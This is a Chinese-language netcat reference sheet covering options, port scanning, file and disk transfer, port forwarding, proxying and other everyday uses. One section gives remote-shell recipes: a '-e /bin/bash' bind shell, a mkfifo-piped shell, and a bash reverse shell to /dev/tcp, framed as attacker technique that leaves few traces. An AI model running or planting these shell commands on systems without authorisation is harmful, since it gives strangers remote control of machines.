nc(netcat ncat)
Install
- rhel
yum install -y nc
- debian
- windows
nc常用参数
nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文件>][-p<通信端口>][-s<来源位址>][-v...][-w<超时秒数>][主机名称][通信端口...]
-g<网关> 设置路由器跃程通信网关,最多可设置8个。
-G<指向器数目> 设置来源路由指向器,其数值为4的倍数。
-h 在线帮助。
-i<延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口。
-l 使用监听模式,管控传入的资料。
-n 直接使用IP地址,而不通过域名服务器。
-o<输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。
-p<通信端口> 设置本地主机使用的通信端口。
-r 乱数指定本地与远端主机的通信端口。
-s<来源位址> 设置本地主机送出数据包的IP地址。
-u 使用UDP传输协议。
-v 显示指令执行过程。
-w<超时秒数> 设置等待连线的时间。
-z 使用0输入/输出模式,只在扫描通信端口时使用。
nc扫描端口连通性
nc端口扫描TCP
nc -nvv 192.168.0.1 80 # 扫描 80端口
nc端口扫描TCP端口范围
nc -v -z -w2 192.168.0.3 1-100
nc端口扫描UDP
nc -u -z -w2 192.168.0.1 1-1000
# 扫描192.168.0.3 的端口 范围是 1-1000
nc常用使用场景
建议方式: 在接收端listen监听端口
nc传输文件
主要利用了系统IO重定向或pipe的功能.
发送端通过pipe把文件数据传递给stdin,或者通过重定向把stdin重定向到某个文件上,然后接受端只要对stdout进行重定向把它定向到目标文件上去即可。
receiver: nc -l 9999 > a.txt
sender: nc receiver 9999 < a.txt
实验:
cp server:a.txt client:b.txt
server: nc -l 8089 < a.txt # -p 参数可省略
client: nc -n serverIP 8089 > b.txt
# 需要手工端开
cp client:b.txt server:a.txt
server: nc -l -p 8089 > a.txt # -p 参数可省略
client: nc -n serverIP 8089 < b.txt
# 传输完成自动断开
这个功能说成传文件说的有些狭隘了,总之就是传递数据,理论上可以把接收端的数据(可能是某种格式编码的)直接传给对应的处理软件去执行,举个例子比如说看个视频什么的。
nc传输目录
cp sender:/home receiver:/tmp/
压缩格式tar.gz
receiver: nc -l 9999| tar zxf - -C /home
sender: tar zcf - /home | nc receiver 9999
# 一定不要忽略横杠-,表示使用内存,不落地
压缩格式tar.bz2
receiver: nc -l 9999| bzip2 -d | tar zxf - # -C /home 解压到某个目录
sender: tar zcf - /home | bzip2 -z | nc receiver 9999
nc远程克隆硬盘或分区
不能是已经mount的磁盘分区
receiver: nc -l 9999| dd of=/dev/sdb
sender: dd if=/dev/sdb | nc receiver 9999
远程shell(通过nc反向shell)
-e 后面看跟的什么参数了, 比如cmd.exe
方式1:
server: nc -l -p 8089 -vvvv
client: /bin/bash | nc serverIP 8089
方式2:
server: nc -l 10000 -e /bin/bash
client: nc serverIP 10000
方式3:
说明: 从网络收到的输入写到fifo文件中 cat 命令读取fifo文件并且其内容发送给sh命令 sh命令进程受到输入并把它写回到netcat。 netcat 通过网络发送输出到client 至于为什么会成功是因为管道使命令平行执行,fifo文件用来替代正常文件,因为fifo使读取等待而如果是一个普通文件,cat命令会尽快结束并开始读取空文件。 在客户端仅仅简单连接到服务器
# server:
# 创建一个fifo文件
mkfifo /tmp/tmp_fifo
# 用管道命令把这个fifo文件内容定向到shell 2>&1中, 是用来重定向标准错误输出和标准输出,然后管道到netcat 运行的端口9999上。
cat /tmp/tmp_fifo | /bin/bash -i 2>&1 | nc -l 9999 > /tmp/tmp_fifo
# cat /tmp/tmp_fifo | /bin/sh -i 2>&1 | nc -l 9999 > /tmp/tmp_fifo
# client:
nc -n serverIP 9999
远程shell(通过bash反向shell)
参考bash
这种技术是当远程机器上没有netcat或你想做一些非自然的事情而不想留下太重的痕迹时使用。
# 攻击者,本地客户端
nc -n -vv -l -p 9999
# 被访问者, 远程服务器
bash -i > /dev/tcp/<clientIP>/9999 0<&1 2>&1
nc端口转发
# -c 来用 nc 进行端口转发,实现端口转发的语法为:
ncat -u -l 80 -c 'ncat -u -l 8080'
# 所有连接到 80 端口的连接都会转发到 8080 端口。
nc使用-w设置客户端超时时间
nc 的监听模式会一直运行,直到手工终止。
不过我们可以通过选项 -w 设置超时时间:
ncat -w 10 192.168.1.100 8080
# 这回导致连接 10 秒后终止,不过这个选项只能用于客户端而不是服务端。
nc使用 -k 选项强制 nc 待命
当客户端从服务端断开连接后,过一段时间服务端也会停止监听。 但通过选项 -k 我们可以强制服务器保持连接并继续监听端口。 命令如下:
$ ncat -l -k 8080
现在即使来自客户端的连接断了也依然会处于待命状态。
nc指定源端口
假设你的防火墙过滤除25端口外其它所有端口,你需要使用-p选项指定源端口。
服务器端
$nc -l 1567
客户端
$nc 172.31.100.7 1567 -p 25
使用1024以内的端口需要root权限。
该命令将在客户端开启25端口用于通讯,否则将使用随机端口。
nc发出http请求,并接收server响应 (类似curl)待测试
echo -ne "GET / HTTP/1.0\r\n\r\n" | nc www.baidu.com 443
printf "GET / HTTP/1.0rnrn" | nc www.baidu.com 443
nc使用SMTP发送邮件
$ nc smtp_server_ip_address 25 << EOF
HELO host.example.com
MAIL FROM:<username@host.example.com>
RCPT TO:<receiver@host.example.com>
DATA
Body of email.
.
QUIT
EOF
nc聊天
不管你在机器B上键入什么都会出现在机器A上。
# A:
[root@server2 ~]# nc -l 1234
hello!
hi!
# B:
[root@server1 ~]# nc A_IP 1234
hello!
hi!
nc加密通过网络发送的数据
如果你担心你在网络上发送数据的安全,你可以在发送你的数据之前用如mcrypt的工具加密。
服务端
$nc localhost 1567 | mcrypt –flush –bare -F -q -d -m ecb > file.txt
使用mcrypt工具加密数据。
客户端
$mcrypt –flush –bare -F -q -m ecb < file.txt | nc -l 1567
使用mcrypt工具解密数据。 以上两个命令会提示需要密码,确保两端使用相同的密码。
这里我们是使用mcrypt用来加密,使用其它任意加密工具都可以。
nc流视频
虽然不是生成流视频的最好方法,但如果服务器上没有特定的工具,使用netcat,我们仍然有希望做成这件事。
服务端
$cat video.avi | nc -l 1567
客户端 这里我们只是从一个视频文件中读入并重定向输出到netcat客户端
$nc 172.31.100.7 1567 | mplayer -vo x11 -cache 3000 -
这里我们从socket中读入数据并重定向到mplayer。
nc通过Proxy连接
這指令會使用 10.2.3.4:8080 這個代理伺服器,
連線至 host.example.com 的 42 連接埠。
nc -x10.2.3.4:8080 -Xconnect host.example.com 42
nc用作代理proxy
nc 也可以用来做代理。比如下面这个例子,
$ ncat -l 8080 | ncat 192.168.1.200 80
所有发往我们服务器 8080 端口的连接都会自动转发到 192.168.1.200 上的 80 端口。 不过由于我们使用了管道,数据只能被单向传输。 要同时能够接受返回的数据,我们需要创建一个双向管道。 使用下面命令可以做到这点:
$ mkfifo 2way
$ ncat -l 8080 0<2way | ncat 192.168.1.200 80 1>2way
现在你可以通过 nc 代理来收发数据了。
nc建立Unix Domain Socket
這行指令會建立一個 Unix Domain Socket,並接收資料
nc -lU /var/tmp/dsocket